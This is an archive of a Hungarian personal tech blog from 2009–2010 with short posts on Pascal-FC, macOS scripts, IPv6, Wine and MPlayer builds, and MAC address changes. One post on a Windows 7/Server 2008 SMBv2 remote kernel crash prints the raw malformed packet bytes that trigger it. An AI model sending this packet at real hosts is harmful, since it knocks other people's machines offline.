2010. március 17., szerda

Pascal-FC és a Linux

Leszed:
ftp://ftp.cs.york.ac.uk/pub/software/unix/pfc-gnu.zip

Ami benne van elolvas...fordít.
Itt (pint.pas) voltak gondok, kb. 6 db. karaktert kiszedtem, fordult.

Ezek után fordítjuk (pfcccomp) és futtatjuk(pint).
Jómagam nem tudtam paraméterezni a a fenti programokat. Bekérik a forrást, listfájl meg objfájl fájlneveket kérnek....macerás.

Ezért alkotódott meg ez:

tedd:

#!/usr/bin/expect

spawn /bin/bash
sleep .2

send "./pfccomp\r"
sleep .2

set forras [lindex $argv 0]
expect "Input file `progfile':"
sleep .2
send "$forras\r"
sleep .2

set kimenet tmp_ki
expect "Output file `listfile':"
sleep .2
send "$kimenet\r"
sleep .2

set objektum tmp_obj
expect "Output file `objfile':"
sleep .2
send "$objektum\r"
sleep .2


send "./pint\r\r"
sleep .2

set futik futik
expect "Interpreter Version P5.3 - Output file `pmdfile':"
sleep .2
send "$futik\r"
sleep .2

expect "Input file `objfile':"
sleep .2
send "$objektum\r"

interact


Használata:
./tedd meg.pfc


Ennyi. Használjátok egészséggel! (:

Ui.: Ha nem fordul a pint.pas -> szólj :D

2010. február 12., péntek

linker4osx - How to start multiple instances of an application on Mac OSX

This script makes link to your applications, and you can start it in multiple instances.

 #linker4osx by PeTIK Team  ... draft only
#!/bin/bash
echo '#!/bin/bash' > $2/$1
echo '/Applications/'$1'.app/Contents/MacOS/'$1' &' >> $2/$1
echo echo $1 started... >> $2/$1
chmod +x $2/$1

usage:
sudo ./linker4osx APPLICATION_NAME_IN_YOUR_APP_FOLDER DESTINATION_FOLDER_TO_LINK

usage example:
sudo ./linker4osx VLC /usr/bin



and you can start a lot of VLC from Terminal (too...) :)

2010. február 1., hétfő

A "citromos video"

Íme:

2010. január 6., szerda

Esti film ....

Megalkotódott az anyag!
Egyelőre teszt fázisban van, nézzük, hogy mit bír, de lehet nézegetni.

IPv4 belülről: http://estifilm.sth.sze.hu
IPv6 kívülről: http://estifilm.sth6.sze.hu

UPDATE:
Akiknek nem működik a külső link, azoknak tudom ajánlani az IPv6-ról szóló bejegyzésünket...
(Kis segítség végső esetben: http://estifilm.sth6.sze.hu.ipv4.sixxs.org)

---

UPDATE 2:
Mivel a sixxxs.org-os cím a 80-as porton csak a weboldalakat viszi át (stream-et nem tudja) (és a 80-ason kívül más portot nem is tud), ezért ideiglenes megoldás:

Hamachi szobák:
estifilm1
estifilm2
estifilm3
estifilm4
estifilm5

password: rokkendrolla

Ha netán egyik betelne, próbálj másikat ;)
estifilm 8080-as portján ugyanúgy megy a szórás...

Jó szórakozást!

---

Menetrend:
1. szavazol
2. megvárod a 21:00 órát
3. a legtöbb szavazatot kapot film vetítésre kerül
4. vlc http://estifilm.sth[6].sze.hu:8080
5. élvez
6. következő napra új filmre szavaz ;)

2010. január 5., kedd

Windows 7 GodMode

Új parancsikon:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}

2009. december 9., szerda

Colorized online/offline checker in bash

Kora reggeli agymenés....


 #!/bin/bash
# Text color variables
txtund=$(tput sgr 0 1) # Underline
txtbld=$(tput bold) # Bold
txtred=$(tput setaf 1) # Red
txtgrn=$(tput setaf 2) # Green
txtylw=$(tput setaf 3) # Yellow
txtblu=$(tput setaf 4) # Blue
txtpur=$(tput setaf 5) # Purple
txtcyn=$(tput setaf 6) # Cyan
txtwht=$(tput setaf 7) # White
txtrst=$(tput sgr0) # Text reset
HOST=IP_ADDRESS
ERTEK=`ping -q -c 4 $HOST | grep "round-trip" |sed 's/\// /g' | awk '{print $8}' | awk '{printf("%d\n",$1 + 0.5);}'`
if [ "$ERTEK" = "" ]; then
ERTEK=-1
fi
if [ $ERTEK -ge 0 ]; then
echo "${txtgrn}online${txtrst}"
else
echo "${txtred}offline${txtrst}"
fi

Miért nem müködik (rendesen) a NEPTUN Safari-ban, Google Chrome-ban és társaiban?

K: Mert szarok a böngészők?
V: Én ilyet nem mondtam...

K: Mert szar a NEPTUN?
V: Ilyet végképp nem mondtam...

K: És mikor fogok NEPTUNozni Safari-ban?
V: Amikor átállítód a böngésződ User-Agent-jét vmi Neptun-kompatibilire :D (pl. Firefox 3.5.3... ezt a Developer fülön éred el, amit akkor látsz, ha engedélyezed a Developer módot)

K: Jajj, a Chrome-ot meg sem merem kérdezni :$
V: Ott szintén ugyanez a helyzet...
Egy példa User-Agent módosításra konzolból:

Mac OSX alatt:
 /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome -user-agent="Mozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en-enrv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5"
pl. Ubuntu alatt:
 ./chrome -user-agent="Mozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en-enrv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5"
Windows alatt pedig vagy parancsikont hozol létre a Chrome indítófájljáról és paraméterezed, vagy Futtatásból, vagy Parancssorból indítod a Chrome-ot ezzel a kapcsolóval:
 -user-agent="Mozilla/5.0 (Macintosh; U; Intel Mac OS X Mach-O; en-enrv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5"

Remélem emészthető voltam.
Természetesen a User-Agent bármi lehet, amit a NEPTUN szeret...
További kellemes NEPTUNozást ;)

2009. november 21., szombat

Wine install to Mac OSX 10.6 Snow Leopard (Draft Only)

sudo port install wine-devel +universal
---------------------

macbook:Downloads user$ sudo port install wine-devel +universal
---> Computing dependencies for wine-devel
---> Extracting wine-devel
Error: You cannot install wine-devel for the architecture(s) i386
Error: because /opt/local/lib/libXxf86vm.dylib only contains the architecture(s) x86_64.
Error: Try reinstalling the port that provides /opt/local/lib/libXxf86vm.dylib with the +universal variant.
Error: Target org.macports.extract returned: incompatible architectures in dependencies
Error: Status 1 encountered during processing.
------------------

macbook:Downloads user$ port provides /opt/local/lib/libXxf86vm.dylib
/opt/local/lib/libXxf86vm.dylib is provided by: xorg-libXxf86vm
------------------

macbook:Downloads user$ sudo port upgrade --enforce-variants xorg-libXxf86vm +universal
---> Computing dependencies for xorg-libXxf86vm
---> Fetching xorg-libXxf86vm
---> Verifying checksum(s) for xorg-libXxf86vm
---> Extracting xorg-libXxf86vm
---> Configuring xorg-libXxf86vm
---> Building xorg-libXxf86vm
---> Staging xorg-libXxf86vm into destroot
---> Deactivating xorg-libXxf86vm @1.1.0_0
---> Computing dependencies for xorg-libXxf86vm
---> Installing xorg-libXxf86vm @1.1.0_0+universal
---> Activating xorg-libXxf86vm @1.1.0_0+universal
---> Cleaning xorg-libXxf86vm
macbook:Downloads user$ sudo port install wine-devel +universal
---> Computing dependencies for wine-devel
---> Extracting wine-devel
---> Configuring wine-devel
---> Building wine-devel



2009. november 19., csütörtök

MPlayer on Mac OSX Snow Leopard from source

I found a very good howto on Brenton Fletcher's blog.

1. we get the last mplayer version from svn:
 svn checkout svn://svn.mplayerhq.hu/mplayer/trunk mplayer
2. go to the mplayer directory and configure:
 ./configure --target=x86_64-Darwin
3. Run make
 make
- if you have error:
Download the missing libraries, etc.:
 sudo port install  +universal
or edit the "config.h" in mplayer directory
 #define HAVE_EBX_AVAILABLE 1
to
#define HAVE_EBX_AVAILABLE 0
Then run make again.
or if you have error with SDL, try this configure command:
 ./configure --target=x86_64-Darwin --disable-sdl
4.
 sudo make install

Work on my Snow Leoprad 10.6.2!

2009. november 13., péntek

Updated: IPv6

Tegnap vmi oknál fogva [jah tudom, a W7 exploit miatt :D ] elkezdtem filózni azon, hogy innen a nagyon nagyon alhálók mélyéről jó lenne valahogy azért kijutni a netre, és onnan elérni a gépem.

Hamachi.... csodálatos cucz( by Sziszkó), de cseszhetem, ha másnak nincs.

És aztán az ötlet : "Van vmi IPv6, lessük már meg mit tud :) "

És tudja :D (bár ennek nagy köze van a hálószolgáltatónak is, hogy támogatja a protokollt....nélküle esélytelen)
A gépemet az IPv6-os címemen keresztül el tudom érni kívülről is. (távoli gépen is be kell konfigolni az IPv6-ot)

Beállítás OSX alatt:
 sudo ip6config start-v6 en1; sudo ip6config start-stf en1   
(nekem restart kellett)
Van egy egész blog az IPv6-hoz OSX alatt : http://www.whatismyipv6.com/blogs/macipv6/wordpress/
Sok okosság van rajt, majd én is szemügyre veszem.

Beállítás XP alatt:
A használt hálózati adapter tulajdonságainál hozzáadtam az IPv6 protokollt, aztán

ipconfig /release
ipconfig /renew

és már müxik is ;)

Pingelni ping6-tal tudok, a böngészők többsége már tudja a domainből (ha nem: http://[2001:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX]/ )

Jó mókázást!

Update:
Kerestem vmi értelmes embert, hogy tesztelje, műküdik-e kívülről az elérés...
Lusta volt IPv6-ot állítgatni odahaza, helyette ezt találta: http://www.sixxs.org/
Korrektül átteszi IPv6-os címemet IPv4-re, és csodálatosan megjelenik a böngészőben az oldalam.
Ilyen formában kell meghívni: http://YOUR.IPv6.DOMAIN.ipv4.sixxs.org/

Egyszerűen gyönyörű :)
Thx Sziszkó!

2009. november 12., csütörtök

windows 7, server 2008 SMB remote kernel crash

Mikrofo$ legények ügyesen kidobták a bigbig javítócsomagot az új rendszerükhöz....mondván, h hibákat javítanak vele.

Jah.
Volt egy jóképű szeptember környékén felfedezett exploit, amivel távolról meg lehett ölni a sambát futtató gépeket (SMB v.2, asszem Vista,W7, Server2008 ).
Ki is javították ügyesen :)

Aztán jött Ő: Laurent Gaffié
Biztonsági szakértő legény...megtette :)

Sikerül neki ugyanazzal a hibával elhasaltatni a W7, Server2008 rendszereket. Csak most annyi különbséggel, hogy rá kell vennünk a távoli júzert, h megnézze a "win-es megosztásunkat".
Onnantól úgy eldöglik a gépe, h soha többet meg se moccan (csak restart)

A titok:

 packet = "\x00\x00\x00\x9a" # --> length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"

2009. október 29., csütörtök

Ubuntu 9.10

Coming soon?
Hát nem ma van a napja? :D

2009. október 22., csütörtök

Credit Card Howto

Ma lelkesen meglátogattam a melletünk lévő Spar (volt Plus) boltocskát.
Rendesen fel is tankoltam NRGből, mer tegnap pénztáros mami felhívta figyelmem, h HEJJ FIJAM, HÓNAPTÓL EZ ÁKCIÓÓÓÓS!!!
Ok, vettem ezt is, azt is.....irány a kassza.
Minden szuper, anyagok a táskában, jöhet a perkálás...a bankkártyás fizetési módot választottam, nem volt elég KPm.
Odaadom maminak, az nagy lelkesen huzogatja a gépben...semmi. Nekifeszül, csak húzza-húzza....semmi. (közbe jóképű maddafakkozás jelei láthatók orcáján)
Egyszer csak benyúl a pult alá, előkap egy nejlonacsit, s frankón belecsomagolta a kártyám.
Há' mondom WTF?
És fogja, dicső új csomagolásával együtt lehuzza a gépen.
S beszarsz..............MŰKÖDÖTT!!!

(Bálával visítottunk is rajt hazafelé rendesen :D)

Ejj, ez a mai világ....bezzeg a mi korunkban......

2009. október 15., csütörtök

2009. október 13., kedd

Collaborative Editor

A gobby (http://gobby.0x539.de/trac/) egy hatalmas anyag.
Kollaborációs (szép magyar szó) text (source code) editor, platform independent ;) (bár mac osx 10.6.1 alatt nem fordult le...egyelőre...)

Megy egy másik csodás szerkezet: SAROS
Eclipse plugin collaborative source code editing-hez ;) Tudja ;)

Hogy teszi meg:
http://www.inf.fu-berlin.de/inst/ag-se/research/dpp/demoVideo/saros.swf

Ui:
Netbeanshoz is létezik csoda : http://collab.netbeans.org/

2009. szeptember 24., csütörtök

Change mac address on mac osx Snow Leopard (with Applescript)

1.
 sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport  

2.
 sudo airport -z  

# Disassociate from any network

3. wait a little

4.
 sudo ifconfig en0 lladdr 00:00:00:00:00:00  

with Applescript (connect to wireless network):

 do shell script "airport -z;sleep 10;ifconfig en1 lladdr 00:1c:d6:2f:4e:34;sleep 3;networksetup -setairportnetwork en1 \"AP_SSID\" PASSWORD_TO_CONNECT_AP" user name "root" password "ROOT_PASSWORD" with administrator privileges  

2009. augusztus 31., hétfő

NetBoot.me

Boot anything, anywhere, anytime

itt

2009. augusztus 27., csütörtök

xrandr - change screen resolution from terminal

Csak amíg feledésbe nem merül...

Nagyon jó cucc, a display-eket lehet vele konfigolni.

pl.:
 xrandr --output LVDS --off

xrandr --output LVDS --auto

xrandr --output VGA --mode 1680x1050 --rate 80

2009. augusztus 25., kedd

emesene 1.5

emesene 1.5 - "awesome" has been released!

-Compatible with the latest Window Live Messenger(tm)
-New plugin set (Plus! colors, Notifications, Mail check, etc.)
-HTTP connection and proxy support
-@msn accounts support
-Better contact list management with Privacy Tab and ability to reject users
-Improved Offline Messaging experience
-Support for msn groups
-No more gui locks
-Experimental webcam support with a configurator
-New layout options and improved usability along with customization
-Tons of new languages supported

stb...

2009. augusztus 19., szerda

remove CR from windows text file

Ő tudja:

 (ba)sh:$ dos2unix file.txt